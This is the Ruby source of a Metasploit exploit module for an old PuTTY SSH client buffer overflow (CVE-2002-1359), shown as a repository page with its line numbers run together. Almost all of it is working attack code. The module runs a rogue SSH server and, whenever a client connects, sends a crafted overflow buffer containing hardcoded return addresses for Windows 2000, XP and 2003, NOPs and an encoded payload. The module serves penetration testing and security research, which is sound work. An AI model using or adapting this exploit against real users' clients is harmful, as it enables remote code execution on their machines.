Path: blob/master/modules/exploits/windows/ssh/putty_msg_debug.rb
19812 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::TcpServer910def initialize(info = {})11super(12update_info(13info,14'Name' => 'PuTTY Buffer Overflow',15'Description' => %q{16This module exploits a buffer overflow in the PuTTY SSH client that is17triggered through a validation error in SSH.c. This vulnerability18affects versions 0.53 and earlier.19},20'Author' => 'MC',21'License' => MSF_LICENSE,22'References' => [23[ 'CVE', '2002-1359' ],24[ 'OSVDB', '8044'],25[ 'URL', 'http://www.rapid7.com/advisories/R7-0009.html' ],26[ 'BID', '6407'],27],28'DefaultOptions' => {29'EXITFUNC' => 'process',30},31'Payload' => {32'Space' => 400,33'BadChars' => "\x00",34'MaxNops' => 0,35'StackAdjustment' => -3500,36},37'Platform' => 'win',38'Targets' => [39[ 'Windows 2000 SP4 English', { 'Ret' => 0x77e14c29 } ],40[ 'Windows XP SP2 English', { 'Ret' => 0x76b43ae0 } ],41[ 'Windows 2003 SP1 English', { 'Ret' => 0x76aa679b } ],42],43'Privileged' => false,44'DisclosureDate' => '2002-12-16',45'DefaultTarget' => 0,46'Notes' => {47'Reliability' => UNKNOWN_RELIABILITY,48'Stability' => UNKNOWN_STABILITY,49'SideEffects' => UNKNOWN_SIDE_EFFECTS50}51)52)5354register_options(55[56OptPort.new('SRVPORT', [ true, "The SSH daemon port to listen on", 22 ])57]58)59end6061def on_client_connect(client)62return if ((p = regenerate_payload(client)) == nil)6364buffer =65"SSH-2.0-OpenSSH_3.6.1p2\r\n" +66"\x00\x00\x4e\xec\x01\x14" +67"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +68"\x00\x00\x00\x00\x00\x00\x00\x00\x07\xde" +69(((((rand_text_alphanumeric(64)) + ",") * 30) + rand_text_alphanumeric(64) + "\x00\x00\x07\xde") * 2) +70(((rand_text_alphanumeric(64)) + ",") * 2) + rand_text_alphanumeric(21) +71[target.ret].pack('V') + make_nops(10) + p.encoded +72(((rand_text_alphanumeric(64)) + ",") * 15) + rand_text_alphanumeric(64) + "\x00\x00\x07\xde" +73(((rand_text_alphanumeric(64)) + ",") * 30) + rand_text_alphanumeric(64) + "\x00\x00\x07\xde" +74(((rand_text_alphanumeric(64)) + ",") * 21) + rand_text_alphanumeric(64) + "\x00\x00\x07\xde" +75(((((rand_text_alphanumeric(64)) + ",") * 30) + rand_text_alphanumeric(64) + "\x00\x00\x07\xde") * 6) +76"\x00\x00\x00\x00\x00\x00"7778print_status("Sending #{buffer.length} bytes to #{client.getpeername}:#{client.peerport}...")7980client.put(buffer)81handler8283service.close_client(client)84end85end868788